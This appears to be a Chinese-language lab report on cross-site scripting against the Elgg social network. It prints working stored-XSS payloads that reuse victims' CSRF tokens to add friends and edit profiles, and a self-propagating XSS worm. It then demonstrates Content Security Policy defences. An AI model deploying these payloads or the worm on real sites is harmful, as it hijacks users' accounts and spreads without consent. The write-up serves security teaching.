XSS攻擊和CSRF有類似的地方,但是他比CSRF更難防,也更常見,
CSRF是偽造一個跨站請求,他要先騙別人進入自己精心設計的網站,但是一個不被信任的第三方網站在跳轉時,往往站點會貼心地提醒你有被攻擊的風險,但是跨站腳本攻擊不一樣,它可以將代碼插入一個被信任的網站的源代碼中,
我們經常在逛一些奇怪的網站時發現網頁中些彈窗和澀澀的廣告,往往就是網站受到了攻擊,網頁代碼中被植入攻擊者的惡意代碼,這種情況常見于一些被廢棄的網站中,被廢棄的網站由于缺乏維護,就容易受到攻擊,
一.在Elgg里注入Javascript代碼
實驗小白鼠還是基于專門為未來的黑客們準備的Elgg社交軟體,不知道的可以參見我的上一篇博客
跨站請求偽造——CSRF攻擊實驗報告
1.登錄到Samy的賬戶,進入profile頁面
2.點擊右上角的Edit HTML,進入HTML檔案編輯模式,在“About Me”欄目填入以下內容
<script>alert("XSS");</script>
3.退出
4.登入Alice的賬戶,進入到“Members”的頁面
5.訪問Samy的profile,Javascript惡意代碼被執行,可以看到XSS的視窗跳出
二.添加Samy為Alice的好友
1.調查
進入Charlie的賬戶,添加Samy為好友,使用HTTP header live捕獲HTTP資料包,分析其中的欄位,獲得所需資訊

2.登錄Samy的賬號,進入Edit profile頁面中,進入Edit HTML模式,其中放入以下的Ajax代碼
(若不進入該模式,編輯器會向代碼中添加格式化資料)
<script type="text/javascript">
window.onload=function()
{
var Ajax=null;//使用Ajax實作Javascript代碼,方便在后臺發起HTTP請求,防止因Javascript代碼發起普通HTTP請求離開當前頁面,引起用戶懷疑
//設定時間戳和秘密令牌值,使得請求被視為同站請求
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;//將當前頁面Javascript代碼中的時間戳變數值賦給elgg_ts
var token="&__elgg_token="+elgg.security.token.__elgg_token;//將當前頁面Javascript代碼中的秘密令牌變數值賦給elgg_ts
//創建url
var sendurl="http://www.seed-server.com/action/friends/add"//加好友的網頁
+"?friend=59" + token + ts;//加上好友ID,token,ts欄位構成url
//創建并發送Ajax請求加好友
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.send();
}
</script>

思考:
若Samy瀏覽自己的profile界面,會將自己添加為好友
3.登錄Alice賬號,查看Samy的profile頁面,并檢查是否將Samy添加為自己的好友
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-PMzFTLh1-1628492708333)(4.png)]](https://img.uj5u.com/2021/08/11/255054110638301.png)
可見添加好友成功
三.修改Alice的profile
1.調查
進入Samy的賬戶修改profile,通過HTTP header live觀察HTTP報文結構,獲得所需欄位資訊
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-PRKut0sM-1628492708335)(6.png)]](https://img.uj5u.com/2021/08/11/255054110638306.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-pXZCp2RD-1628492708337)(7.png)]](https://img.uj5u.com/2021/08/11/255054110638302.png)
2.按照二中的攻擊步驟,對Samy的profile進行修改,加入以下代碼并用Edit HTML格式撰寫
<script type="text/javascript">
window.onload = function()
{
//構造相應欄位
var name="&name="+elgg.session.user.name;//構造用戶名欄位
var guid="&guid="+elgg.session.user.guid;//guid欄位
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;//時間戳欄位
var token="&__elgg_token="+elgg.security.token.__elgg_token;//秘密令牌欄位
var desc="&description=Samy is my hero" + "&accesslevel[description]=2"//個人簡介欄位+訪問控制等級欄位
//構造url
var content=token + ts + name + desc + guid;
var sendurl="http://www.seed-server.com/action/profile/edit"; //要發送的url
if(elgg.session.user.guid!=59)//防止Samy自己將自己的profile修改
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
登錄Alice賬號,一開始,Alice沒有profile
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-9QB1UmhL-1628492708338)(8.png)]](https://img.uj5u.com/2021/08/11/255054110638307.png)
查看Samy的profile之后,About me區域出現如下內容,攻擊成功,Alice的主頁被成功修改
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-wSrOrF7p-1628492708340)(9.png)]](https://img.uj5u.com/2021/08/11/255054110638308.png)
四.撰寫自我傳播的蠕蟲
1.撰寫蠕蟲放入攻擊者Samy的主頁
此處使用DOM樹實作Javascipt代碼的自我拷貝
將Samy主頁的About me改為如下內容
<script type="text/javascript" id="worm">//在原有基礎上,將腳本ID設定為worm,方便在DOM樹中根據ID進行查找
window.onload = function()
{
//構造蠕蟲拷貝代碼,由于innerHTML不會將Javascript標簽拷貝,需要手動添加頭部和尾部
var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; //代碼首部
var jsCode = document.getElementById("worm").innerHTML;//在DOM樹中尋找ID為worm的節點,并用innerHTML api獲取該腳本具體內容(不包含標簽)
var tailTag = "</" + "script>"; //代碼尾部
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);//將代碼進行URL編碼
alert(jsCode);
//設定description欄位的值和訪問等級欄位的值
var desc = "&description=Samy is my hero" + wormCode;
desc += "&accesslevel[description]=2";
//構造相應欄位
var name="&name="+elgg.session.user.name;//構造用戶名欄位
var guid="&guid="+elgg.session.user.guid;//guid欄位
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;//時間戳欄位
var token="&__elgg_token="+elgg.security.token.__elgg_token;//秘密令牌欄位
//構造url
var content=token + ts + name + desc + guid;
var sendurl="http://www.seed-server.com/action/profile/edit"; //要發送的url
if(elgg.session.user.guid!=59)//防止Samy自己將自己的profile修改
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
2.觀察第一級被攻擊者Alice
點開Samy主頁,之后觀察自己的主頁,發現已經被修改
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-dpjZ0HeZ-1628492708341)(10.png)]](https://img.uj5u.com/2021/08/11/255054110638309.png)
3.觀察第二級被攻擊者Boby
點開Alice主頁,跳出代碼內容,說明Alice的主頁已經被感染XSS蠕蟲病毒,Boby正在受到攻擊
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-xQVkjveo-1628492708342)(11.jpg)]](https://img.uj5u.com/2021/08/11/2550541106383010.jpg)
點擊觀察Boby的主頁,發現已經被修改,Samy攻擊Boby成功
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-9MTd1Ney-1628492708342)(12.png)]](https://img.uj5u.com/2021/08/11/2550541106383011.png)
五.防御措施
此處使用CSP內容安全策略來防止XSS攻擊
1.相關配置
三個網站www.example32a.com, www.example32b.com, www.example32c.com同時使用相同的HTML檔案,即index.html,其內容如下
<html>
<h2 >CSP Experiment</h2>
<p>1. Inline: Nonce (111-111-111): <span id=’area1’>Failed</span></p>#區域1,nonce值為111-111-111
<p>2. Inline: Nonce (222-222-222): <span id=’area2’>Failed</span></p>#區域2,nonce值為222-222-222
<p>3. Inline: No Nonce: <span id=’area3’>Failed</span></p>#區域3,沒有nonce值
<p>4. From self: <span id=’area4’>Failed</span></p>
<p>5. From www.example60.com: <span id=’area5’>Failed</span></p>
<p>6. From www.example70.com: <span id=’area6’>Failed</span></p>
<p>7. From button click:
<button οnclick="alert(’JS Code executed!’)">Click me</button></p>
#腳本1,設定nonce值為111-111-111,腳本試圖將區域1內容設定為OK
<script type="text/javascript" nonce="111-111-111">
document.getElementById(’area1’).innerHTML = "OK";
</script>
#腳本2,設定nonce值為222-222-222,腳本試圖將區域2內容設定為OK
<script type="text/javascript" nonce="222-222-222">
document.getElementById(’area2’).innerHTML = "OK";
</script>
#腳本3,沒有nonce值,試圖將區域3內容設定為OK
<script type="text/javascript">
document.getElementById(’area3’).innerHTML = "OK";
</script>
#腳本4,執行代碼存放于本站的script_area4.js檔案中
<script src="script_area4.js"> </script>
#腳本5,執行代碼存放于http://www.example60.com的script_area5.js檔案中
<script src="http://www.example60.com/script_area5.js"> </script>
#腳本6,執行代碼存放于http://www.example70.com的script_area6.js檔案中
<script src="http://www.example70.com/script_area6.js"> </script>
</html>
2.配置CSP
兩種方法:
①Apache服務器可以為所有相應報文設定HTTP頭部
②在網路應用程式中配置CSP
#www.example32a.com不設定CSP
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32a.com
DirectoryIndex index.html
</VirtualHost>
#www.example32b.com通過Apache設定HTTP回應報文頭部來設定CSP(方法①)
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
Header set Content-Security-Policy " \ #開啟CSP模式
default-src ’self’; \ #允許來自本站的嵌入式Javascript腳本
script-src ’self’ *.example70.com \ #允許來自example70.com的嵌入式Javascript腳本
"
</VirtualHost>
#www.example32c.com通過網路應用來設定CSP(方法②)
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32c.com
DirectoryIndex phpindex.php #訪問phpindex,php檔案來加載該網頁,并將關于CSP的配置寫在該檔案中
</VirtualHost>
phpindex.php
<?php
$cspheader = "Content-Security-Policy:". #開啟CSP策略
"default-src ’self’;". #允許來自本站的嵌入式Javascript腳本
"script-src ’self’ ’nonce-111-111-111’ *.example70.com". #允許來自本站的嵌入式腳本,來自example70.com的嵌入式腳本,
#nonce值為111-111-111的嵌入式腳本
"";
header($cspheader);
?>
<?php include ’index.html’;?>
3.測驗網頁
(1).打開example32a.com
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-D0rbuAip-1628492708343)(13.png)]](https://img.uj5u.com/2021/08/11/2550541106383012.png)
**觀察結果:**所有專案都是OK,點擊按鈕彈出彈窗
**原因解釋:**該網站沒有開啟CSP防御機制,故六個script腳本均被執行成功
(2).打開example32b.com
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-xeuISirw-1628492708343)(14.png)]](https://img.uj5u.com/2021/08/11/2550541106383013.png)
原因解釋:
根據example32b.com的CSP配置,可知其僅允許本站和example70.com的引入式腳本,故index.html中的腳本4,6成功執行
腳本1,2使用的是嵌入式腳本,雖然有nonce值,但是在HTTP頭部中規定的CSP策略中并沒允許任何嵌入式代碼使用nonce值進行認證
腳本3屬于嵌入式代碼,不予執行
腳本5來源網站example60.com不可信,不予執行
按鈕7屬于嵌入式代碼,不被允許故不顯示相應內容
(3).打開example32c.com
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-hk2UOG3i-1628492708344)(15.png)]](https://img.uj5u.com/2021/08/11/2550541106383014.png)
原因解釋:
根據example32c.com的CSP配置,可知其允許本站和example70.com的引入式腳本,以及nonce值為111-111-111的嵌入式代碼,故腳本1nonce值符合,被嵌入執行,1區域顯示為OK;腳本4來自本站,腳本6來自example70.com,均為可信來源,被執行
腳本2的nonce值為222-222-222,與CSP配置要求的值不相符,故不予執行
腳本3為嵌入式代碼且無nonce值進行認證,故不予執行
腳本5來源網站example60.com不可信,故不予執行
按鈕7屬于嵌入式代碼,無相應nonce值,故不顯示相應內容
4.修改代碼
(1).修改example32b.com的CSP配置(修改Apache配置),使得區域5,6顯示為OK
#www.example32b.com通過Apache設定HTTP回應報文頭部來設定CSP(方法①)
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
Header set Content-Security-Policy " \ #開啟CSP模式
default-src ’self’; \ #允許來自本站的嵌入式Javascript腳本
script-src ’self’ *.example70.com \ #允許來自example70.com,example70.com的嵌入式Javascript腳本
script-src ’self’ *.example60.com \ #允許來自example60.com,example70.com的嵌入式Javascript腳本
"
</VirtualHost>
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-qZm93kNu-1628492708345)(16.png)]](https://img.uj5u.com/2021/08/11/2550541106383015.png)
(2).修改example32c.com的CSP配置(修改相應php代碼),使得區域1,2,4,5,6顯示為OK
<?php
$cspheader = "Content-Security-Policy:". #開啟CSP策略
"default-src ’self’;". #允許來自本站的嵌入式Javascript腳本
"script-src ’self’ ’nonce-111-111-111’ 'nonce-222-222-222' *.example70.com *.example60.com".
"";
header($cspheader);
?>
<?php include ’index.html’;?>
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-wiYzI5rW-1628492708347)(17.png)]](https://img.uj5u.com/2021/08/11/2550541106383016.png)
5.總結
CSP明確告訴了網站哪些資源可以被加載,是可信的,所以可以防止XSS攻擊使用不可信來源的腳本對網站進行攻擊
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/292866.html
標籤:其他
上一篇:buuctf web 隨便注

